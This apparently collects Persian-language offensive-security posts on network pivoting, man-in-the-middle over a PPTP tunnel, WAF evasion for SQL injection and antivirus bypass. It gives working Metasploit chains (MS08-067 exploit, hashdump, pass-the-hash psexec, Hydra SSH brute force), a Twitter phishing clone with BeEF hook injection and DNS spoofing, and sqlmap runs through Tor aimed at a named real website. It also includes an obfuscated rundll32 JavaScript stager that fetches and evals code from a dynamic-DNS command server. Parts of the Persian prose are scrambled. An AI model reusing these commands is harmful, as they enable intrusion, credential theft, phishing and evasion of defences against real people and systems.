Open terminal

1.`wget https://instagram.fdoh5-1.fna.fbcdn.net/vp/5bc514123eae6757f2d7e151e342fcfc/5CFF4E6E/t51.2885-15/e35/49351811_242625999982906_5514895558731009107_n.jpg?_nc_ht=instagram.fdoh5-1.fna.fbcdn.net -o ######.jpg` 2.`sed -i -e 's/socks4 127.0.0.1 9050/#socks4 127.0.0.1 9050/g' /etc/proxychains.conf;echo "socks4` (WAN) `1080" >> /etc/proxychains.conf` 3.`nano auto.rc` Added

```
run exploit/windows/local/bypassuac TECHNIQUE=PSH run windows/manage/priv_migrate getprivs getsystem getuid hashdump run multi/manage/autoroute SUBNET=10.10.10.0/24 run auxiliary/server/socks4a SRVHOST=(WAN) run windows/gather/enum_computers run windows/gather/checkvm run windows/gather/tcpnetstat run windows/gather/smart_hashdump run auxiliary/scanner/portscan/tcp THREADS=50 RHOSTS=10.10.10.0/24 Proxies=SOCKS4:(WAN):1080 run multi/manage/set_wallpaper WALLPAPER_FILE=######.jpg
```

Ctrl+x > y > Enter

4.`msfconsole -q -x "use windows/smb/ms08_067_netapi;set PAYLOAD windows/meterpreter/reverse_tcp;set RHOST` (TARGET)`;set LHOST` (NoIP)`;set LPORT 4141;set ReverseListenerBindAddress` (LAN)`;set StageEncoder x86/call4_dword_xor;set EnableStageEncoding true;set AutoRunScript auto.rc;set ExitOnSession false;exploit -j"`

خب در اینجا ما در خط اول یک عکس برای دیفیس کردن سیستم ها دانلود کردیم :) در خط دوم من میام یک پروکسی قرار میدم برای ابزار Proxychains چرا که در ادامه من میخوام یک پروکسی زمانی که سیستم قربانی رو هک کردم براش رانژه کنم به کنیم ما بصورت مستقیم با استفاده Pentest این دلیل که ما با اینکار میتونیم هر ابزاری رو بر روی قربانی استفاده و ارتباط مستقیمی ایجاد کنیم پس پروکسی برای ارتباط مستقیم با قربانی هستم البته اینو بگم که socksاز پروتکل تعریف کردیم و در اسکریپت من امدم و RC بنده منظورم قربانی دوم هست نه اولی خب باز در ادامه یک اسکریپت ارتباط میگیره با یک 1.1.1.3برای شبکه قربانی تعریف کردم یعنی قربانی اول ما که آی پی اون بود Routing یک Subnet که بر روی سیستم عاملش تعریف شده با رنج آی پی 10.10.10.0/24

1.1.1.4خب با اینکار من متونم ارتباط مستقیم بگیرم با شبکه قربانی تا قبل از این من نمیتونستم مثلا با کامپیوتر اصلی جا زدم NAT که تعریف کردم دقیقا اومدم و خودم رو جای Routing در شبکه قربانی ارتباط بگیرم اما با این انجاس که دیوایس های در شبکه شروع میکنند با من ارتباط مستقیم گرفتن,اما در ادامه من میام و اطلاعاتی مبنی میکنم و مثللا TCP بر هش های سیستم قربانی اول بیرون میکشم و باز در ادامه میام شبکه قربانی رو اسکن سیستم قربانی PASS و USER اون باز بود خب بد نیست من با SMB فرض کنید یک سیستم دیده شد که سرویس مربوطه بر روی این سرویس Exploit قربانی دوم و با استفاده از SMB کنم به سرویس Login اول که بیرون کشیدم یک Payload رو RCE کنم و با اینکار از سیستم دوم هم دسترسی بگیرم :)

5.`msfconsole -q -x "use windows/smb/psexec;set PAYLOAD windows/meterpreter/bind_tcp;set RHOST` (TARGET)`;set SMBUser Administrator;set SMBPass` (Hash)`;set StageEncoder x86/call4_dword_xor;set EnableStageEncoding true;set AutoRunScript auto.rc;set ExitOnSession false;exploit -j"`

6.`proxychains nmap --osscan-guess -A -sV -sT -sC -Pn` (TARGET)

7.`run auxiliary/scanner/ssh/ssh_enumusers RHOSTS=`(TARGET) `USER_FILE=/usr/share/metasploit-framework/data/wordlists/default_users_for_services_unhash.txt Proxies=SOCKS4:(WAN):1080` Copy (USER)

Open new tab

8.`proxychains hydra` (TARGET) `ssh -s 22 -l` (USER) `-P /usr/share/metasploit-`

`framework/data/wordlists/default_pass_for_services_unhash.txt -t 4` 9.`proxychains ssh`
(USER)@(TARGET)
(PASS)
Back msfconsole tab
10.`portfwd add -L` (LAN) `-l 8080 -p 80 -r` (TARGET)
Open new tab
11.`nikto -h` (TARGET) `-useproxy http://(WAN):8080` Open Browser > Visit http://(WAN):8080

Authen رو استفاده کردیم این دستور هش های مربوط به Hashdump خودمون دستور RC در خط 3 ما در اسکریپت های ادمین رو استخراج میکنه اما در ادامه یعنی خط 5 ما از همین اطلاعات استفاده کردیم و کاری که راجب گفنیم رو انجام دادیم و موجب دسترسی از سیستم دوم شد اینم بگم که سیستم اول با استفاده از SMB سرویس رو درک کنیم خب بریم ادامه داستان ما Pivot آسیب پذیریی هک شده بود که اینا همه بصورت مثال هست که ما بر روی یک آی پی در شبکه بود ما در خط SSH در خط 6 میایم و قربانی رو اسکن میکنیم و فرض کنید یک سرویس رمز رو بیرون Hydra رو بیرون بکشیم و در خط 7 سیع میکنیم با ابزار SSH 7 سیع میکنیم نام کاربری سرویس دار و باز در ادامه SSH میکنیم به یک سیستم Login شده چطور Pivot بکشیم و در خط 9 نشون دادم که در شبکه هم داره حالا مال چیه کاری ندارم اما من میام و یک پورت برای HTTP ما فرض میکنم این قربانی سوم سرویس سیستم سومی که هک کردم فروارد میکنیم و پورت 80 اون رو مساوی با پورت 8080 سیستم خودم قرار میدم قربانی سوم رو مورد نمایش قرار دادم و HTTP رو با پورت 8080 باز کنم در اصل سرویس localhost اینطوری اگر من خب به همین منوال میتونم اسکنش هم کنم :) در خط 11

رو میتونید پیاده Pivot و اما نکته آخر در این تکنیک شما با استفاده از دو موضوع یا بهتر بگم دو سرویس سناریو های تعریف کردن با شبکه ارتباط بگیریم اگر میخواید بهتر این Route سازی کنید یکی اینکه ما میتونیم با استفاده از ها میسازند بندازید تا ببینید چطور برای Virtual Machine هایی که Virtual Network موضوع رو درک کنید نگاهی به Bridge تعریف کنند و ا حتی از بستر اون سیستم با روتر اصلی با سرویس NAT یک سیستم عامل میتونند هم یک آی پی دریافت کنند و به این ترتیب بتونن با کامپیوتر های دیگه DHCP ارتباط بگیرند و از روتر اصلی و سرویس ارتباط بگیرن البته اینم بگم که فقط کامپیوتر شامل نمیشه و شما میتونید با هر دیوایسی ارتباط بگیرید و اما سرویس هستش یعنی شما با استفاده از Tunnel Proxy رو حال میکنه پیاده سازی Pivoting دومی که تکنیک های پروکسی میتونید بصورت مستقیم عملیات پنتست رو بر روی قربانی اجرا کنید و ابزار های شما میدونند که الان برای کاره خودشون استفاده میکنند البته اینکار Tunnel برقراره و از همون Local IP ارتباط با قربانی از کدام پورت و خودمون شکل MiTM ویژگی های دیگه هم داره از قبیل شنود کردن ترافیک های قربانی بگونه ای همون داستان امیدوارم خوشتون اومده باشه منابع بیشتر این مباحث در کانال های خصوص Proxy Tunneling میگیره در این هستش اگر محقق امنیت هستید میتوند اقدام کنید برای کانال های خصوصی که در پست پین شده راجبش توضیحاتی دادم....AVI

https://www.offensive-security.com/metasploit-unleashed/pivoting/
https://www.sans.org/reading-room/whitepapers/testing/paper/33909
https://pentest.blog/explore-hidden-networks-with-double-pivoting/
-
#Operator Overloading (Obfuscation)
با استفاده از سربار گزاری عملگرها رو نشون بدیم و C++ در این پست میخوایم تکنیک های مبهم سازی در زبان بررسی کنیم استعداد این سربارگزاری رو در چگونگی مبهم سازی...

استفاده از تابعی که از جنس کلاس هست همونطور که در عکس پست مشاهده میکنید ما در اینجا کلاسی با نام در y و x هستش,همچنین با استفاده از دو پارامتر b و a با نام های Private داریم که دارای دو متغیر ######()

مقدار ورودی توسط کاربر رو ذخیره کردیم,علاوه بر موارد ذکر شده یک سازنده ######() سازنده ی کلاس پیشفرض که کاربر بخواد تا Object رو بدون مقدار اولیه بسازه,

حالا ما میخوایم با استفاده از یک تابع عملگر (-) رو بگونه ای تغییر بدیم که برخلاف ماموریت Default خودش که ماموریتش رو به جمع کردن ورودی ها تبدیل میکنیم تا Operator Overloading منجر به تفریق میشه ما تابع رو با ببینیم میشود عملگر هارو بگونه ای ماموریت داد که برخلاف اونچه که هر برنامه نویسی با دیدنش استنباط میکنه رفتار کنه که البته در تصویر مشخصه که قابل انجامه پس آیا ما میتونیم با همین تکنیک بر فرض ساخت یک سوکت موتور هوش مصنوعی اونها Heuristic رو بگونه ای کدنویسی کنیم که آنتی ویروس هایی که بصورت PE در یک فایل آنتی ویروس ها دقت کنید که من در زیر پارامتر های این المان Engine عمل میکنه دور بخورن؟ اگر به المان های میتونیم اذیتشون کنیم Overloading هارو اسم میبرم میتونیم ببینیم که با

– Decryption loop detected
– Reads active computer name
– Reads the cryptographic machine GUID
– Contacts random domain names
– Reads the windows installation date
– Drops executable files
– Found potential IP address in binary memory
– Modifies proxy settings
– Installs hooks/patches the running process
– Injects into explorer
– Injects into remote process
– Queries process information
– Sets the process error mode to suppress error box
– Unusual entrophy
– Possibly checks for the presence of antivirus engine
– Monitors specific registry key for changes
– Contains ability to elevate privileges
– Modifies software policy settings
– Reads the system/video BIOS version
– Endpoint in PE header is within an uncommon section
– Creates guarded memory regions
– Spawns a lot of processes
– Tries to sleep for a long time
– Unusual sections
– Reads windows product id
– Contains decryption loop
– Contains ability to start/interact device drivers
– Contains ability to block user input

کد با String کافیست ما فقط یک اتصال سوکت تعریف کنیم و این تعریف سوکت با استفاده از جمع کردن تکه های شده انجام بشه و درون یک متغیر اونهارو هندل کنیم این میشه کلیات سناریو ما Overload استفاده از عملگرهای Operator در تعاریف Overloading اما برسیم به تعاریف خود

```
#include <iostream> using namespace std; class ###### { int a, b; public: ######(int x,int y) { a = x; b = y; } ######(){} ###### operator-(###### c) { a = a + c.a; b = b + c.b; return ######(a, b); } void print() { cout << "A Is: " << a << " - B Is: " << b << endl; } }; int main() { ###### m(10, 15); ###### n(20, 25); ###### o; o = m - n; o.print(); return 0; }
```
در رو بهش operator تعریف کردیم که ویژگی ###### ما یک تابع در کلاس ###### operator-(###### c)قسمت c با نام Object یک ###### دادیم و از عملگر - استفاده کردیم و در دو پرانتزی که باز کردیم از روی کلاس main کنیم به خود کلاس,اما در تابع Return رو جمع کنیم و حاصل اون رو b و a میسازیم چرا که ما نیاز داریم مقادیر که اون هم با دو مقدار n که دو مقدار عددی داره همینطور m تعریف کردیم با نام های Object اگر دقت کنید ما سه رو درون خودش میریزه n و m ساختیم که مقادیر o دیگه با نام Object عددی تعریف شده و باز هم در ادامه یک

در نظر گرفته n و m های Object در b و a نکته ای که اینجا خودنمایی میکنه اینه که عملگری که برای جمع مقادیر تغییر operator overloading شده عملگر تفریق هست! این بدین معنی است که ما عملگر - رو با استفاده از Object C رو به شما ارجاع دادن شما میبایست با استفاده از b و a ماهیت دادیم و گفتیم که هرگاه دو پارامتر ورودی های خود کلاس,نکته جالب این سناریو دقیقا همین جا بود و خب در ادامه Object کنی به Return اونهارو جمع و Object o صدا زده میشه و از اونجا که این Object o که در کلاس تعریف کردیم برای print() هم میبینیم که تابع که اونها b و a های Object گرفته شده و پاس داده شده به ###### که در کلاس n و m دارای دو مقدار ورودی هم توضیح دادیم که چه بلایی سرشون میاد :)

https://fa.wikipedia.org/wiki/سربارگذاری_عملگرها

-

#MitM WAN with VPN Tunneling

ترافیک PPTP یا و از راه دور به واسطه سرویس WAN در این پست در خصوص حملات مرد میانی بر بستر شبکه هم بر روی Inject XSS Hook و یا DNS Spoof قربانی رو شنود میکنیم و همچنین میتوانیم Ciphertext و Cleartext قربانی داشته باشیم.

هستش که پسا حمله رخ میده و ما بعد از گرفتن Post Exploitation این روش شنود اطلاعات عملیاتی از نوع هستند بیاید و Windows شما میتونید برای قربانی هایی که بر بستر سیستم عامل Meterpreter دسترسی پیاده سازی کنید و در سمت هکر اون سرویس رو راه اندازی و تنظیم کرده باشید به Protocol PPTP تونلی بر بستر این ترتیب هکر میتونه ترافیک قربانی رو بگیره چرا که به واسطه تونلی که پیاده سازی کرده بر روی سیستم عامل عمل Virtual Private Network قربانی ارتباط قربانی با اینترنت به واسطه سیستم میانی هکر که به عنوان یک شده Cipher میکنه حاصل شده و همین موضوع موجب شنود قربانی میشه البته در خصوص شنود ترافیک های هم توضیح هاتی خواهم داد که به چه صورت اتفاق خواهد افتاد,اما SSL/TSL قربانی به واسطه پروتکل هایی مانند ما کار خودمون رو برای پیاده سازی Privilege و انجام عملیات Meterpreter قبل از هرچیز ما بعد از گرفتن دسترسی حمله MiTM VPN Tunneling رو آغاز میکنیم به کد زیر دقت کنید

Open terminal

1.`apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y;apt-get install -y build-essential ruby-dev libpcap-dev bettercap tor pptpd;gem install bettercap;service tor start;service postgresql start;service apache2 start;noip2` 2.`cd /usr/share/beef-xss/;./beef`

Open new tab

3.`touch dns.conf;echo "local .*twitter\.com" >> /root/dns.conf` 4.`bettercap -I wlan0 -T 192.168.0.234-238 --dns dns.conf --proxy -P POST --proxy-module injectjs --js-url "http://127.0.0.1:3000/hook.js" --proxy-pem /root/.bettercap/bettercap-ca.pem --no-sslstrip`

Open new tab

5.`wget -O /var/www/html/index.html -c -k -U "Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_5)`

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" "https://twitter.com/login" 6.sed -i -e 's#\#localip 192.168.0.1#localip 192.168.0.1#g' /etc/pptpd.conf;sed -i -e 's#\#remoteip 192.168.0.234-238,192.168.0.245#remoteip 192.168.0.234-238,192.168.0.245#g' /etc/pptpd.conf;sed -i -e 's/#ms-dns 10.0.0.1/ms-dns 8.8.8.8/g' /etc/ppp/pptpd-options;sed -i -e 's/#ms-dns 10.0.0.2/ms-dns 8.8.4.4/g' /etc/ppp/pptpd-options;echo "###### * 12341234 *" >> /etc/ppp/chap-secrets 7.service pptpd start;iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE;iptables -A FORWARD -i ppp0 -o wlan0 -j ACCEPT;iptables -A FORWARD -i wlan0 -o ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT;echo "1" > /proc/sys/net/ipv4/ip_forward;route -n;netstat -putan 1723 Back msfconsole tab
8.run windows/manage/pptp_tunnel USERNAME=###### PASSWORD=12341234 VPNHOST=(WAN)
9.run windows/manage/inject_host DOMAIN=twitter.com IP=(WAN)
10.run windows/manage/inject_ca CAFILE=/root/.bettercap/bettercap-ca.pem خب خواستم یکی یکی دستورات رو توضیح بدم اما چون نمیخوام چندتا پست بشه به این صورت توضیحات رو سریع عرض میکنم ما در Start رو BeEF دستور شماره یک اومدیم و ابزارها و سرویس های مورد نیاز رو نصب و اجرا کردیم و در خط دوم ابزار رو BeEF میکنیم و دسترسی Hook رو BeEF ابزار Payload کردیم چرا که در جریان شنود قربانی به ترافیک هاش کنمش رو میسازم که زمانی قربانی Spoof هم حاصل میکنیم در دستور سوم فایل کانفیگ هاستی که میخوام ساختم رو میبینه در خط Twitter شده ای که من از Phishing رو ببینه در اصل سایت twitter خواست مثلا سایت شده در ترافیک های Redirect میکنیم این تنظیمات شامل معرفی پورت Start رو تنظیم و Bettercap چهارم ابزار و رنج آیپی که قربانی ها در این رنج حضور دارند نکته این DNS Spoof پورت 80 به 8080 هستش و معرفی کانفیگ هستش که زمانی که شما برای قربانی سرویس رو فعال میکنید یک آی پی در یک PPTP رنج آی پی های سرویس میشه Sniff رنج خواستی میگیره این تمام این رنج شامل ,

سیستم عامل هکر هست و همچنین تنظیم کانفیگ های سرویس IP Table اما در خط هفت و هشت برای تنظیم رو PPTP تعریف میکنیم تا سرویس Rule یک IP table برای تعریف میکنیم و برای Authen که در مجموع یک PPTP و VPN و فعال DNS Spoofing کنیم اما در خط های نه و ده و یازده دستوراتی برای فعال سازی ACCEPT مجوز بدیم و بر روی سیستم عامل BeEF ابزار Certificate انجام میگیره و همچنین تزریق PPTP با استفاده از سرویس Tunnling دار SSL/TLS قربانی برای شنود ترافیک های .
#Bypass IPS/IDS/WAF Detection on SQLi
در این پست میخوام راجب دور زدن مکانیزم های دفاعی وبسرورها و فایروال های نرم افزاری که به قول معروف به WAF اون ها گفته میشه صحبت کنیم که چطور برای تست آسیب پذیری ها محدودیت ها و مکانیزم های دفاعی مثال رو SQLi که به کار میبرند رو دور بزنیم همراه با یک مثال زنده,که البته بنده در خصوص تست آسیب پذیری خواهم زد اما در آسیب پذیری های دیگه هم این روش جوابگو هستش.
ها مکانیزم هایی برای ما ایجاد مشکل میکنند میخوام اول در خصوص Web Application در خصوص حملات به تشریح چگونگی تست نفوذ و شناسایی تست نفوذ کمی توضیح بدم,زمانی که یک پنتستر میخواد آسیب پذیری ا تست کنه در اصل این پروسه به واسته اسکریپت ها اسکنرها Webapp و CMS رو بر روی Web Application های پایلود ریزی انجام میده پس زمانی که ما Burpsuite مثل Proxy Interupter و یا بصورت دستی به واسطه ابزارهای ها پایلود میفرستیم که حالا فیلترینگ های توابع Webapp و یا Database تست نفوذ انجام میدیم در اصل داریم به مربوطه در آسیب پذیری های مختلف رو آزمون کنیم که البته هر آسیب پذیری سناریو خاص خودش رو داره مثلا هستش که در اکثر Java در فریمورک های Serialize تست نفوذ در خصوص تابع Java Serialize آسیب پذیری ها استفاده میشه خب این چطور تست نفوذی هست در اصل این یک پایلود ریزی Web Application فریمورک های به گونه ای defensive در محیط مربوطه هست حالا در خصوص یکسری آسیب پذیری های سمت کاربر این موضوع دیگه و از طرف مرورگرها اعمال میشه اما در خصوص اکثر آسیب پذیری ها شما پایلودی رو می فرستید به سمت سرور و همین موضوع باعث میشه مکانیزم های اون سرور یا جلوی شمارو بگیرند و یا متوجه تست نفوذ شما

بشوند,

میکنند و Log به دو صورت عمل میکنند یک تمام اتفاق های نسبتا غیر طبیعی رو هم ثبت و IPS/IDS مکانیزم های کننده دارند,زمانی که شما با یک وبسایت ارتباط میگیرید به دلیل رفتار معمول Block هم مکانیزم های دفاعی و کاری با شما ندارند چرا که رفتار غیر معمولی رخ نداده اما اگر یک رفتار غیر defensive شما با وبسایت مکانیزم های Detections های زیاد شما مکانیزم Thread کردن پنل ادمین سریعا از روی Bruteforce معمول شما انجام بدهید مثلا اما مکانیزم های نرم ,Ban میکنند و هم اون رو Log متوجه رخداد یک حمله میشوند و همچنین اطلاعات مهاجم رو ها دارند یک نکته قابل توجه اینه که هر دوی این مکانیزم ها از IPS/IDS ها چه تفاوتی با WAF افزاری دفاعی مانند روی یکسری شاخصه های رفتاری تعریف شده حمله رو درک میکنند اما به شکل های مختلف و در فضا های مختلف به سمت Query شروع به تست نفوذ انجام میدید در اصل دارید مقادیر بسیاری SQLMap مثلا شما زمانی که با های زیاد متوجه حمله شما می Thread از روی IPS/IDS وبسرور و بعد از اون به سمت دیتابیس ارسال میکنید و چگونگی بلاک شدن WAF از روی خود پایلود شناسایی حمله رو انجام میدن,تشخیص WAF شوند اما

Open terminal

1.`echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf;apt-get install -y tor;service tor start` 2.`sqlmap -u 'http://sanjesh.org/FullStory.aspx?gid=5&id=5836' --level=5 --risk=3 --dbms=mssql --dbs --mobile --threads=10 -v 3 --identify-waf --batch --tor-type=SOCKS4 --tor-port 9050 --tamper=randomcase,percentage` 5 رو بشما اجازه میده Query در حالت عادی مبینید که فقط تا در پایین میبینیم که دور میخوره ProxyChains ارسال کنید اما در حالت

3.`git clone https://github.com/stamparm/fetch-some-proxies.git;cd fetch-some-proxies;chmod 755 *;sed -i -e 's/#random_chain/random_chain/g' /etc/proxychains.conf;sed -i -e 's/strict_chain/#strict_chain/g' /etc/proxychains.conf;proxychains ./fetch.py --type=SOCKS4 --output=socks4.txt;sed -i -e 's#://# #g' socks4.txt;sed -i -e 's#:# #g' socks4.txt;cat socks4.txt >> /etc/proxychains.conf` 4.`service tor restart;cd ;reset;proxychains sqlmap -u 'http://sanjesh.org/FullStory.aspx?gid=5&id=5836' --level=5 --risk=3 --dbms=mssql --dbs --mobile --timeout=10 --threads=10 -v 3 --batch --tamper=randomcase,percentage` خب در مثال بالا ما

اول یک اسکریپت دانلود کردیم که کارش دریافت پروکسی هست و در مرحله دوم این پروکسی هارو بصورت قرار دادیم و در Random Chain و این ابزار رو کانفیگ درست در حالت Proxychains اتوماتیک ارسال کردیم به ابزار تست نفوذ رو انجام دادم که بصورت زنده خودتون sanjesh.orgمن روی سرور WAF/IPS/IDS مثال تست دور زدن به Status 200 ها با سلامت به سمت سرور رفته و با Query تست و بررسی کنید که آیا محدودیت ها دور خورده و های Tamper Script به واسطه Obfuscation هم من از یک سبک WAF شما برگشته, اما در خصوص دور زدن OBF هارو میبینید که به چه صورت Payload انجام دادم که در تصویر پست شمایل percentage و randomcase Proxychains پایلود هارو درک نکنه و دور بخوره از طرفی با استفاده از WAF کرده و همین موضوع موجب شده تا کنه امیدوارم Block مارو رهگیری و Threading هم نتونه از روی IPS زنجیره ای از آی پی هارو به کار گرفتیم که پست مفیدی بوده باشه براتون.

https://www.sans.org/reading-room/whitepapers/detection/intrusion-detection-evasion-attackers-burglar-alarm-1284

#BypassAVs with OOB Objects & OBF

بگیرید تا در Binary صحبت های زیادی کردم از مبهم سازی در بستر Detection در خصوص دور زدن مکانیزم های که همونطور که میدونید در زبان پاورشل ما میتونیم بصورت Powershell و یا C/C++ فضای زبان های سطح بالا مانند پایلودی رو بنویسیم و دستمون بسیار بازه برای مبهم سازیش حالا من در این پست به سبکی متفاوت تر Stager میپردازم و در پست های بعدی به سبک های دیگه هم ورود خواهیم کرد.

-

2K
edited

-

-
Photo

مبهم شده که اولا نوع خود پایلود متفاوت هست و HTA همونطور که در تصویر مشخصه پایلودی در دل فایل فرمت در آن تعریف شده میریم که javascript مفسر زبان rundll32.exe که در فایل HTA فایل فرمت Runer با استفاده از ارتباطی رو با یک پورت برقرار کنیم به این پایلود دقت کنید

```
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication
";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://######.ddns.net:4141/
eeA6b",false);x.send();eval(x.responseText);window.close();
```

از ماژول Object ما به واسطه ساختن
`WbemScripting.SWbemLocator` و به واسطه این فایل میتونیم `Win32_Process`میتونیم ارتباط بگیریم با فایلی به نام
پراسسی رو باز کنیم بر روی سیستم عامل اما یکسری نکات این وسط هست

اون صدا زده شده داره دقیقا چیو به اجرا javascript که مفسر rundll32.exe به نام dll فایل های Runer :نکته اول
ما اون رو میشناسیم که حالا در این فایل فرمت دقیقا HTA که با فایل فرمت HTML Application در میاره ؟؟؟ یک
ما که بر روی پورت خاصی سواره زده C&C به GET از نوع Request چه اتفاقی داره می افته؟ اگر دقت کنید یک
خاص URI میشه البته با یک

که در سیستم عامل های ۷ به بالا کاملا پشتیبانی میشه ActiveXObject با استفاده از Request نکته دوم: این
هست و در پست های بعد shell هست زده میشه و ارتباط برقرار میشه این ارتباط یک ارتباط msxml منظورم
توضیح خواهم داد اما Metasploit فریمورک C&C در meterpreter به دسترسی shell چگونگی تبدیل دسترسی
غیر معمول اقدام به ساخت یک پراسس و ارتباط Runer بریم ادامه داستان پس تا اینجای کار ما با استفاده از یک
کردیم همین موضوع آنتی ویروس هارو به اندازه کافی گیج میکنه چرا که آنتی ویروس ها بیشتر تمرکز خودشون رو
دیگه ای پورتی رو باز کنه Runer ابداع کرده گذاشتن و اگر یک هکر بخواد با Metasploit بر روش های معمولی که
میشه گفت به دلیل نو ظهور بودنش میتونه در امان هم باشه و شناسایی نشه اما نمیشه فقط به این نکته بسنده
که محصول روس ها هست و خود روس ها استاد این تکنیک ها KasperSky کرد چرا که آنتی ویروس هایی مثل
های ویندوز که برخی هاشون هم عروس هزار شوهر شدند مثل Runer هستند میشه حدس زد که تمام
کاملا زیر نظر هستند Certutil.exe,

نکته سوم: ما میتونیم با استفاده از تکنیک های مبهم سازی کار رو به حدی پیچیده کنیم که نه تنها آنتی ویروس
بلکه خودمون هم کمی گیج بشیم در تحلیل کد اکی من یک سبک از این مبهم سازی رو در تصویر نشون دادم که
پایلودی که بالاتر گزاشتم رو درون خودش جایی داده اما نکته ای که قابل ذکر هست اینه که این پایلود بصورت تکه
تکه شده فیما بین کاراکتر های

```
r<!=#+/*]-([_&%?$>)u<!=#+/*]-([_&%?$>)n<!=#+/*]-([_&%?$>)d<!=#+/*]-([_&%?$>)l<!=#+/*]-
([_&%?$>)l<!=#+/*]-([_&%?$>) r <!=#+/*]-([_&%?$>) u <!=#+/*]-([_&%?$>) n <!=#+/*]-([_&%?$>) d
<!=#+/*]-([_&%?$>) l <!=#+/*]-([_&%?$>) l <!=#+/*]-([_&%?$>)
```

که اگر دقت کنید درون خودش پایلود ما
رو مثال میزنم `rundll`گنجانده شده من کل پایلود رو جا نمیشد بزارم به همین خاطر کمی از پایلود که میشه کلمه
که در تصویر HTA , خب در بالا کاملا مشخصه که مبهم سازی به چه شکل هستش اما نکته بعدی اینه که اگر به
با مقدار `Replace`با استفاده از پارامتر `<!=#+/*]-([_&%?$>)`پست هست دقت کنید کاراکتر های

`YhdrHqfHPCJz.Create(Replace("PAYLOAD;", "<!=#+/*]-([_&%?$>)", "")` Result Replace: `rundll` پارامتر `""` هیچ عملی رو `"<!=#+/*]-([_&%?$>)"` که به معنی پوچ هست عوض میشه ساده بخوام بگم کاراکتر های `""` انجام نمیده فقط واسه گیج کردن آنتی ویروس هست و آخر سر این کاراکتر ها با مقدار جا به جا میشه که در :) این صورت پایلود به حالت اول خودش برمیگرده و برای اجرا مشکلی نداره

https://en.wikipedia.org/wiki/VBScript
https://support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface
-
#Machine Language Obfuscating
در این پست میخوایم در سطح زبان ماشین میخوایم پیش بریم و ببینیم که در سطوح زیرین اگر ما بخوایم یک شلکد بشیم به Detect چطور میتونیم اینکارو بدون اینکه Hard Disk یا بر روی Memory یا یک بدافزار رو رایت کنیم بر روی تحلیل انجام میدند Machine Code دست مکانیزم های تحلیلگر مخصوصا اون دسته هایی که در سطح...
مدر اول پست این نکته قابل ذکر هست که ما بصورت کلی یک نگاهی به این روند میندازیم و در پست ها بعدی که بصورت باینری اطلاعات درش جریان Machine در سطح زبان Detection سعی میکنم ریز بشم,خب مکانیزم های بحث رصد هکرها و افراد خرابکار رو قبل ASA Cisco هایی مانند Firewall داره اتفاق می افته این یعنی چی؟؟ یعنی از پردازش های سیستمی رصد میکنند یعنی حتی قبل از رسیدن ترافیک به ساختار شبکه داخلی و نکته اینجاس که این تحلیل و رصدها دقیقا به چه صورت هست با ذکر یک مثال نشون میدم این موضوع رو

`<connect_socket socket="1500" remote_addr="192.168.1.163" remote_port="25" successful="1" winsock_result="10035"/> remote_port winsock_result 12 0a | 0019 | 025d0ce6 | 00343365 10 connect_socket remote_address successful` یک فریمورک که XML-Data فرض کنید یک آسیب پذیری در بستر بزنه و دسترسی رو برای RCE در وبسرور قربانی وجود داره پیدا شده و هکر میخواد از بستر این آسیب پذیری یک میخواد به سمت POST که با متد Request خودش حاصل کنه خب نکته ای که اینجا دیده میشه اینه که فایروال یک یک Request میکنه اما چطور متوجه میشه که این Interupt وبسرور بره رو قبل از اینکه به سرور برسه درصد و تحلیل میکنه نه در Binary خطرناک هستش ؟؟؟ نکته همینجا هستش که فایروال اطلاعات رو در سطح Request هارو بصورت String اما این تحلیل به گونه ای که در مثال بالا دیده میشه میتونه باشه و فایروال Application سطح باینری دیده و برای خودش ترجمه میکنه و مثلا اگر در این ترجمه مقداری به دست بیاد که مثلا معادل connect_socket رو Drop میشه و همین میشه که اون RCE باشه اینجا فایروال متوجه درخواست غیرمجاز میکنه,

خودتو بزنی و از آسیب پذیری که پیدا کردی استفاده RCE خب با این تفاسیر هکری که شما باشی چطور میخوای مبهم سازی Machine Code و یا همون Binary و دسترسی رو حاصل کنی؟؟؟ جواب اینجا اینه که ما باید در سطح خودتو انجام بدی یعنی ما با زبان های سطح بالا کاری نداریم چرا که در پست های قبلی ما صحبت راجب مبهم سازی کد در سطوح بالا صحبت میکردیم,اما مبهم سازی های سطح زبان ماشین چطوره ؟؟؟ همونطور که میدونید هستش و Assembly هستش پس مبهم سازی ما بر بستر زبان Assembly زبان ماشین ترجمه ای از کدهای زبان باز همونطور که میدونید تکنیک های مبهم سازی زبان های سطح پایین به دسته های زیر تقسیم میشن

`Polymorphic,Metamorphic,Mimimorphic,Hemimorphic,Oligomorphic` که مشهور ترین اونها Polymorphic هستش به معنی در هم ریختگی که در پست های آتی آموزشش رو خواهم گذاشت اما این تکنیک ها به چه صورت ابهام سازی خودشون رو انجام میدن و چه تکنیک ها و مکانیزم های رفتاری که فایروال ها دارند میتونند این مبهم سازی هارو شناسایی کنن???

`Un-obfuscated Unique substring *Binary in plain *Segments of the binary Oligomorphism`

Algorithmic detection *Simple transformation (XOR) *Build in transformations Polymorphism Statistical analysis *Compression and encryption *Anomalies in code body Metamorphism Advanced pattern matching *Meta transformation (P-code) *N-gram signatures State of the Art Semantic analysis *Control-flow encryption *Persist high-level fingerprints *Byte frequency manipulation یک دسته بندی متقابلی سعی کردم ایجاد کنم که خب در اینجا مشخصه که مثلا تکنیک قابل رهگیری هست اما همین تکنیک Advanced pattern matching در مقابل مکانیزم Metamorphism میتونه پیروز باشه اما با این تفاسیر ما چطور میتونیم Algorithmic detection در تقابل با مکانیزم Metamorphism ها در سطح باینری برای ما کارآمد باشه و مثلا Shellcode تکنیکی رو بکار ببریم که امروزه در بحث مبهم سازی که مخفف اون Mimimorphic بتونه بدون اینکه شناسایی بشه ماموریتی که داره رو انجام بده به نظر بنده تکنیک میتونه تکنیک بهتری برای مبهم سازی شلکد باشه البته برای امروز نه فردا توجه داشته باشید :) اما Mimic میشه بحث کنیم تا با این نوع از مبهم سازی ها بیشتر آشنا بشیم Mimic بریم کمی راجب مبهم سازی با تکنیک ,

در سطح باینری تا اونجا که بنده رصد کردم Detection قبل از ورود میخوام این نکته رو عرض کنم که مکانیزم های این دایره از سرویس هارو داره پوشش میده

